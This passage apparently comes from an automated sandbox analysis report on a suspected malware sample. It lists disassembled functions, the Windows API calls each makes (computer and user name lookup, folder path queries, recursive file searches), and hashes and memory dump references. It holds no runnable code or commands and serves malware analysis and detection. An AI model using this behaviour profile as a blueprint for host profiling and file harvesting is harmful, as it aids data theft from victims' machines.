Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: e1e19b38a44c119bddad23c225a83e2474f9cb1ed3146ebf00a51a7569cedf31
Instruction ID: ae6fc8160acefc439a84a582eb11c06ff3f829c3e12f043e26ea97c47385ffe9
Opcode Fuzzy Hash: e1e19b38a44c119bddad23c225a83e2474f9cb1ed3146ebf00a51a7569cedf31
Instruction Fuzzy Hash: 35F0E2B1641308BBEB149AA4AC89FABB7ECE705B15F301449F504E7390D571AE00CAA4

Function 004B8D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,004A1B54,?,?,004C564C,?,?,004C0E1F), ref: 004B8D9F

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6342135f1ec82806346c23778bf22de26ff25e67f5f307c58161a0e7f52fc470
Instruction ID: 0f8ca906fd721c2aa452fcccbb1873f19f39f04e206981b987ad393cee586be7
Opcode Fuzzy Hash: 6342135f1ec82806346c23778bf22de26ff25e67f5f307c58161a0e7f52fc470
Instruction Fuzzy Hash: 63F0F270C00208ABCB00EFA4D5496DDBB78EB10314F10819EE8666B380DB786A56DBA5

Function 004B8DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004B8E0B

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: a7427876a00cf551bb02403bac20d34c41b5fb968d75a2f21856fd813d9f1cc3
Instruction ID: c76bc5d779692c1a8a14932ee47076e4f9d93b151f208c8a5c0d3671b377b5dd
Opcode Fuzzy Hash: a7427876a00cf551bb02403bac20d34c41b5fb968d75a2f21856fd813d9f1cc3
Instruction Fuzzy Hash: D4E01A71A4034C7BEB91EB94DC96FEE737C9B44B01F004299BA0C5A1C0DE74AB858BA1

Function 004A1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004B78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004B7910
Part of subcall function 004B78E0: RtlAllocateHeap.NTDLL(00000000), ref: 004B7917
Part of subcall function 004B78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 004B792F

Part of subcall function 004B7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004A11B7), ref: 004B7880
Part of subcall function 004B7850: RtlAllocateHeap.NTDLL(00000000), ref: 004B7887
Part of subcall function 004B7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 004B789F

ExitProcess.KERNEL32 ref: 004A11C6

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 569d2bb669f21ad362c1a4ecc1d8071434771f94617976d702b497e914708519
Instruction ID: 0ad56d4f0c8e8b84620376264a03c1ebf36a02345be66559be7e8c02cb3dbdd8
Opcode Fuzzy Hash: 569d2bb669f21ad362c1a4ecc1d8071434771f94617976d702b497e914708519
Instruction Fuzzy Hash: 6CE012B591434153CB0073F2AC4AB6B379D5B6938DF04182EFA09D6212FA2DF811C57E

Non-executed Functions

Function 004B38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004B38CC
FindFirstFileA.KERNEL32(?,?), ref: 004B38E3
lstrcat.KERNEL32(?,?), ref: 004B3935
StrCmpCA.SHLWAPI(?,004C0F70), ref: 004B3947
StrCmpCA.SHLWAPI(?,004C0F74), ref: 004B395D
FindNextFileA.KERNEL32(000000FF,?), ref: 004B3C67
FindClose.KERNEL32(000000FF), ref: 004B3C7C

Strings

%s\%s, xrefs: 004B397A
%s\%s\%s, xrefs: 004B3A4A
%s\*, xrefs: 004B38C0
%s\%s, xrefs: 004B3A6F
%s%s, xrefs: 004B3AAD

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: d395f7ce9c372273e6c149223781e40101a5789b1450b0f21ed2ab96358d72af
Instruction ID: 705ed67d9b34f507670e9d286e2c012d1e48369588b46484e887c5f02b344ccd
Opcode Fuzzy Hash: d395f7ce9c372273e6c149223781e40101a5789b1450b0f21ed2ab96358d72af
Instruction Fuzzy Hash: B7A171B6A00308ABDB24DFA5DC85FEE7379BB58301F04458DB50D96141EB78AB84CF66

Function 004B4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 004B4580
RtlAllocateHeap.NTDLL(00000000), ref: 004B4587
wsprintfA.USER32 ref: 004B45A6
FindFirstFileA.KERNEL32(?,?), ref: 004B45BD
StrCmpCA.SHLWAPI(?,004C0FC4), ref: 004B45EB
StrCmpCA.SHLWAPI(?,004C0FC8), ref: 004B4601
FindNextFileA.KERNEL32(000000FF,?), ref: 004B468B
FindClose.KERNEL32(000000FF), ref: 004B46A0
lstrcat.KERNEL32(?,00FDF610), ref: 004B46C5
lstrcat.KERNEL32(?,00FDD528), ref: 004B46D8
lstrlen.KERNEL32(?), ref: 004B46E5
lstrlen.KERNEL32(?), ref: 004B46F6

Strings

%s\%s, xrefs: 004B461B
%s\*, xrefs: 004B459A

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: e2e007ef0465ab9554e6e61c20667f4144032e23aed1a2e8ba942ed6e4e79dad
Instruction ID: 175ea13ee455cf108f5fac27913dbb79d381ca91190f634c605b497b1997ab49
Opcode Fuzzy Hash: e2e007ef0465ab9554e6e61c20667f4144032e23aed1a2e8ba942ed6e4e79dad
Instruction Fuzzy Hash: 14516AB5900318ABCB24EBB0DC89FEE737DAB54300F40458DB60996151DF78AB84CFA5

Function 004AED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004AED3E
FindFirstFileA.KERNEL32(?,?), ref: 004AED55
StrCmpCA.SHLWAPI(?,004C1538), ref: 004AEDAB
StrCmpCA.SHLWAPI(?,004C153C), ref: 004AEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 004AF2AE
FindClose.KERNEL32(000000FF), ref: 004AF2C3

Strings

%s\*.*, xrefs: 004AED32

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: db699184fb3ee4f83977d20d5921cf32c909b92adeea525993bcb9556051022e
Instruction ID: cb56931d86f5001427ac2c2176f443a204b6f1f240b22f349cd3a7761cc8ad87
Opcode Fuzzy Hash: db699184fb3ee4f83977d20d5921cf32c909b92adeea525993bcb9556051022e
Instruction Fuzzy Hash: 0DE1F471911118BAEB64FB61CC91EEE7338AF54304F40459EB40A62452EF386F9ACF79

Function 0085ED53 Relevance: 15.4, Strings: 11, Instructions: 1644COMMON

Download Yara Rule

Strings

X6>, xrefs: 0085F8A5
8;, xrefs: 0085EEE8
1m~=, xrefs: 0085F841
2}, xrefs: 0085F488
FwQ, xrefs: 0085EEFD
Cf:{, xrefs: 0085FE88
2_W, xrefs: 0085F4F4
siy_, xrefs: 0086003A
^}Z, xrefs: 0085FDD7
Aqo, xrefs: 0085F782
Taw, xrefs: 0085FB69

Memory Dump Source

Source File: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ^}Z$1m~=$2_W$2}$8;$Aqo$Cf:{$FwQ$Taw$X6>$siy_
API String ID: 0-1518875555
Opcode ID: 610bb84efddc32c0d7ebae886ca2a54a7b79c016b4ae71a05a2cccdc93c8c217
Instruction ID: a91d859bebbf0ef4f23efcf9882a2bc018a595c3729142ccbed4a7aa1ec5147f
Opcode Fuzzy Hash: 610bb84efddc32c0d7ebae886ca2a54a7b79c016b4ae71a05a2cccdc93c8c217
Instruction Fuzzy Hash: 01B2D6F3A0C604AFE3046E2DEC8567ABBE9EF94720F16893DE6C4C3744E63558058697

